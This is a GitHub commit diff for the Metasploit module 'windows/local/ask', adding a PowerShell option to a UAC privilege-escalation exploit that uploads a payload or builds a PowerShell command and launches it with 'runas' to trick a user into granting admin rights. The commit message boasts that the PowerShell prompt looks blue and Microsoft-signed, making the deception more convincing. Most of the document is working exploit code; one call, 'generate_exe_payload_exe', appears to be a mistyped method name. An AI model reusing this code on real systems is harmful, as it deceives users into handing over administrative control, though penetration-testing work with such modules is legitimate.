Skip to content

Commit a5dc75a

Browse files
committed
Added PSH option to windows/local/ask exploit
Gives you the ability to use powershell to 'ask' for admin rights if the user has them. Using powershell makes the pop up blue instead of orange and states that the company is Microsoft, it also doesn't drop an exe on the system. Looks like 32 bit https works but if you migrate out you loose priv and if you run cachedump the session hangs.
1 parent 8059c59 commit a5dc75a

File tree

1 file changed

+42
-25
lines changed
  • modules/exploits/windows/local

1 file changed

+42
-25
lines changed

modules/exploits/windows/local/ask.rb

Lines changed: 42 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -7,12 +7,14 @@
77

88
require 'msf/core'
99
require 'msf/core/exploit/exe'
10+
require 'msf/core/exploit/powershell'
1011

1112
class Metasploit3 < Msf::Exploit::Local
1213
Rank = ExcellentRanking
1314

1415
include Exploit::EXE
1516
include Post::File
17+
include Exploit::Powershell
1618

1719
def initialize(info={})
1820
super( update_info( info,
@@ -23,21 +25,25 @@ def initialize(info={})
2325
UAC settings.
2426
},
2527
'License' => MSF_LICENSE,
26-
'Author' => [ 'mubix' ],
28+
'Author' => [
29+
'mubix', # Original technique
30+
'b00stfr3ak' # Added powershell option
31+
],
2732
'Platform' => [ 'win' ],
2833
'SessionTypes' => [ 'meterpreter' ],
2934
'Targets' => [ [ 'Windows', {} ] ],
3035
'DefaultTarget' => 0,
3136
'References' => [
3237
[ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
3338
],
34-
'DisclosureDate'=> "Jan 3 2012"
39+
'DisclosureDate'=> "Jan 3 2012",
3540
))
3641

3742
register_options([
3843
OptString.new("FILENAME", [ false, "File name on disk"]),
3944
OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]),
40-
OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ])
45+
OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", false ]),
46+
OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'EXE', ['PSH', 'EXE'] ]),
4147
])
4248

4349
end
@@ -71,31 +77,42 @@ def exploit
7177
#
7278
# Generate payload and random names for upload
7379
#
74-
payload = generate_payload_exe
7580

76-
if datastore["FILENAME"]
77-
payload_filename = datastore["FILENAME"]
81+
if datastore["TECHNIQUE"] == "EXE"
82+
if datastore["UPLOAD"]
83+
exe_payload = generate_exe_payload_exe
84+
85+
if datastore["FILENAME"]
86+
payload_filename = datastore["FILENAME"]
87+
else
88+
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
89+
end
90+
91+
if datastore["PATH"]
92+
payload_path = datastore["PATH"]
93+
else
94+
payload_path = session.fs.file.expand_path("%TEMP%")
95+
end
96+
97+
cmd_location = "#{payload_path}\\#{payload_filename}"
98+
99+
if datastore["UPLOAD"]
100+
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
101+
fd = session.fs.file.new(cmd_location, "wb")
102+
fd.write(exe_payload)
103+
fd.close
104+
end
105+
106+
session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5)
107+
else
108+
print_error("No Upload Path!")
109+
return
110+
end
78111
else
79-
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
112+
command = cmd_psh_payload(payload.encoded)
113+
arguments = command.gsub("%COMSPEC% /B /C start powershell.exe ","")
114+
session.railgun.shell32.ShellExecuteA(nil,"runas","powershell.exe","#{arguments}",nil,5)
80115
end
81-
82-
if datastore["PATH"]
83-
payload_path = datastore["PATH"]
84-
else
85-
payload_path = session.fs.file.expand_path("%TEMP%")
86-
end
87-
88-
cmd_location = "#{payload_path}\\#{payload_filename}"
89-
90-
if datastore["UPLOAD"]
91-
print_status("Uploading #{payload_filename} - #{payload.length} bytes to the filesystem...")
92-
fd = session.fs.file.new(cmd_location, "wb")
93-
fd.write(payload)
94-
fd.close
95-
end
96-
97-
session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5)
98-
99116
end
100117
end
101118

0 commit comments

Comments
 (0)